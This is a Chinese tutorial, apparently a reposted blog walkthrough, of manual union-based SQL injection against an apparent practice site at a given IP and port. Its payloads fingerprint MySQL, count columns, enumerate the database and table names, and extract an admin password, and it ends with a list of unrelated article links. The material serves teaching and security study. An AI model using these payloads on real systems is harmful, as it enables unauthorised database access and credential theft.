一、检测注入点

二、判断是否存在 SQL 注入可能

三、数据库爆破

四、字段爆破

五、数据库表爆破

六、用户名、密码爆破

七、总结

一、检测注入点

首先,在 http://120.203.13.75:6815/?id=1 目标站点页面发现了 ?id,说明可以通过查询 id=1 的内容来获得页面。

这相当于查询语句:

select * from [表名] where id = '';

二、判断是否存在 SQL 注入可能

在 http://120.203.13.75:6815/?id=1 后加入一个 单引号,构成http://120.203.13.75:6815/?id=1',此时的 SQL 查询语句变为:

select * from 表名 where id =1';

SQL 语句未正确结束,因此返回了一个错误页面,如图所示:

继续测试 and 1=1 和 and 1=2:

http://120.203.13.75:6815/?id=1 and 1=1

这相当于 SQL 查询语句:

select * from 表名 where id =1 and 1=1; 

SQL 语句用 and 连接可以设置多个条件,目前返回一个永久为真的条件,因此返回了一个正常页面,如图所示:

http://120.203.13.75:6815/?id=1 and 1=2 

这相当于 SQL 查询语句:

select select * from 表名 where id =1 and 1=2;

SQL语句用 and 连接可以设置多个条件,目前返回一个永久为假的条件,因此页面返回错误,如图所示:

说明 SQL 语句被执行,程序没有对敏感字符进行过滤。现在可以确定此处是一个 SQL 注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。

三、数据库爆破

现在要判断数据库类型以及版本,构造语句如下:

http://120.203.13.75:6815/?id=1 and ord(mid(version(),1,1))>51

发现返回正常页面,说明数据库是 MySQL,并且版本大于 4.0,支持 union 查询,反之是 4.0 以下版本或者其他类型数据库。

四、字段爆破

进一步猜测数据注入位置:

http://120.203.13.75:6815/?id=1 order by 10

这相当于 SQL 查询语句:

select * from [表名] where id =1 order by 10;

返回错误,说明字段小于 10:

http://120.203.13.75:6815/?id=1 order by 2

这相当于SQL查询语句:

select * from [表名] where id =1 order by 2;

返回正常页面,说明字段是 2。当字段数很大时,二分查找法的优势比较明显,效率更高。

五、数据库表爆破

确定字段之后,现在要构造联合查询语句 (union select),语句如下:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,2 

可以发现在页面中,原先的内容没有了,取而代之的是返回的数字 2,这个数字指的是我们可以把联合查询的对应位置替换为想要查询的关键字,比如版本,数据库名称,主要是用来探测 web 系统的信息。

查询数据库版本:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,version() 

得到结果为版本号 5.5.53,如图所示:

六、用户名、密码爆破

现在把 2 替换掉,先查询数据库名称,构造语句如下:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,database() 

浏览器返回了 maoshe,说明这个网站的数据库名称是 maoshe,如图所示:

用同样的手法查询表名,构造语句如下:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe' 

浏览器返回 admin,说明表名为 admin,如图所示:

再用同样的手法猜测密码和用户名字段,构造语句如下:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,pwd from admin

返回失败,说明字段名称不是 pwd。

重新猜测密码字段,构造语句如下:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,password from admin

返回成功,说明密码字段名称为 password,且登录密码为 hellohack。

七、总结

要想实现注入,首先要找到 注入点。使用联合查询语句时,需要将语句写在一个闭合的空间内,这个空间就是通过查找注入点并添加的一个闭合的引号内。在网站中使用的查询语句在 MySQL 中都是可以实现的。

基本步骤:

    • 找到注入点;
    • 判断当前表的字段;
    • 用联合语句查看哪几位是有效位;
    • 查看当前数据库中有哪些表;
    • 查看表中有哪些属性;
    • 查看表中具体的数据信息。

转自:https://blog.csdn.net/carol980206/article/details/87905304

最新文章

  1. iOS开发常用代码块(第二弹)
  2. Ubuntu 12 修改当前用户密码:new password is too simple
  3. ecslipe cdt lib link
  4. Android应用中使用及实现系统“分享”接口
  5. windows下使用批处理文件调用python程序
  6. Java for LeetCode 026 Remove Duplicates from Sorted Array
  7. 如何修改svn的密码或重新输入用户名密码
  8. 【转】可执行程序包括BSS段、数据段、代码段
  9. C#request 请求响应
  10. IO之内核buffer----"buffer cache"
  11. java线程之停止线程
  12. ThinkPHP集成万象优图
  13. shiro中 UnknownAccountException
  14. webstorm中sftp远程调试配制
  15. esxi 改变虚拟机磁盘格式为精简存储
  16. thinkPHP验证码不显示问题
  17. ACM(图论)——tarjan算法详解
  18. AspNet mvc的一个bug
  19. 使用配置文件自定义Ribbon配置
  20. React Native使用 DeviceEventEmitter发送通知emit和监听接收addListener的用法

热门文章

  1. Mysql修改数据文件默认目录datadir
  2. git如何将旧commit的相关notes复制到新commit?
  3. python中的raise用法
  4. Dart集合
  5. Spring的Bean的生命周期方法执行顺序测试
  6. postgresql 利用pgAgent实现定时器任务
  7. Spring5源码分析之启动类的相关接口和注解
  8. Windows下MariaDB数据库安装图文教程
  9. matlab基本函数strcmp num2str 字符串格式
  10. T-SQL_常用内置函数和操作